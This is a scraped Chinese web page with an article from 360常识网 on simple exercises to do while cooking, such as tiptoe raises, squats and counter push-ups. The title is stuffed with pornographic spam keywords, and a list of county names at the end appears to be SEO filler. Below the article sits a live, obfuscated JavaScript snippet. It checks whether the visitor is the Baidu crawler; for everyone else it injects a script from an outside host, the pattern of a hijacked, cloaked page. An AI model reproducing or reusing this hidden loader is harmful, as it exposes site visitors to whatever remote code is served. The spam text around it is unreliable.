亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

在廚房健身的幾種簡(jiǎn)單方法

2015-12-07 20:09:43  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):許多忙于做家務(wù)的人可能沒(méi)有時(shí)間去運(yùn)動(dòng),其實(shí)我們?cè)趶N房也能做一些鍛煉身體運(yùn)動(dòng)。那么具體該怎么做呢?一起來(lái)看看吧。

單腿

在廚房健身的幾種簡(jiǎn)單方法

許多家庭主婦為了家庭生活沒(méi)有空閑時(shí)間外出鍛煉,這無(wú)疑對(duì)喜愛(ài)鍛煉的女性是很大的影響。那么下面為大家介紹在廚房健身的幾種簡(jiǎn)單方法,供大家了解。

踮腳尖

這個(gè)動(dòng)作可以用在很多時(shí)候。如洗碗或洗菜時(shí)讓你的雙腿稍稍用力,繃起腳尖、吸氣、抬起、呼氣、放下。做5組,每組10次。這樣既可以拉長(zhǎng)小腿肌肉、又可以減輕長(zhǎng)期站立的疲勞。

單腿站立

在廚房中單腿站立。勞動(dòng)時(shí)也可以做這個(gè)動(dòng)作,如切菜時(shí),將全身重心放在一條腿上,另一條腿側(cè)邁出1步,腳尖著地,腿用力打直,向側(cè)面提起,保持20秒鐘,換另一側(cè)。

切菜鍛煉

長(zhǎng)時(shí)間切菜、揉面會(huì)感到雙手酸脹,可抽出片刻時(shí)間雙臂下垂,放松肌肉,雙手快速抖動(dòng)。

炒菜鍛煉

炒菜時(shí),可利用片刻時(shí)間,把手掌置于腦后枕骨處,肘部盡量后展;在煮咖啡、煲湯或烤糕點(diǎn)等需長(zhǎng)時(shí)間等待的空閑中,在廚房里做一下側(cè)彎腰。

前后下腰

在洗碗池邊,由于站立時(shí)間過(guò)長(zhǎng),會(huì)使你的腰部肌內(nèi)感到疲勞,所以在結(jié)束洗碗池邊的工作時(shí),兩腳分開(kāi)與肩同寬,距池邊有1大步距離,雙手扶著水池邊,緩緩下腰拉伸背部與腰部的肌肉,下壓5次。

下蹲

可以將廚房設(shè)計(jì)成必須蹲下才能拿到炊具,在下蹲時(shí)兩腿并擾,腰部以上部位用力挺直,這樣可以鍛煉腰部及大腿的力量。

俯臥撐

煮的湯還沒(méi)好,向后退1步,雙手支在冰箱或者桌子上,手臂彎曲、雙腿繃直,讓上身慢慢向冰箱或者桌子靠近。一般每次做飯都能做上15次這種廚房里的“俯臥撐”。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
宁安市| 遂溪县| 浏阳市| 枣强县| 宣恩县| 辉县市| 北海市| 社旗县| 惠来县| 福州市| 柏乡县| 旬邑县| 广平县| 津市市| 丹棱县| 新田县| 烟台市| 平邑县| 宜城市| 香港| 承德市| 沙河市| 奉新县| 新乐市| 临沭县| 麟游县| 赣州市| 米泉市| 正宁县| 中西区| 鹤山市| 出国| 蓝田县| 永济市| 涟源市| 绿春县| 文登市| 凤城市| 台东县| 元谋县| 方城县|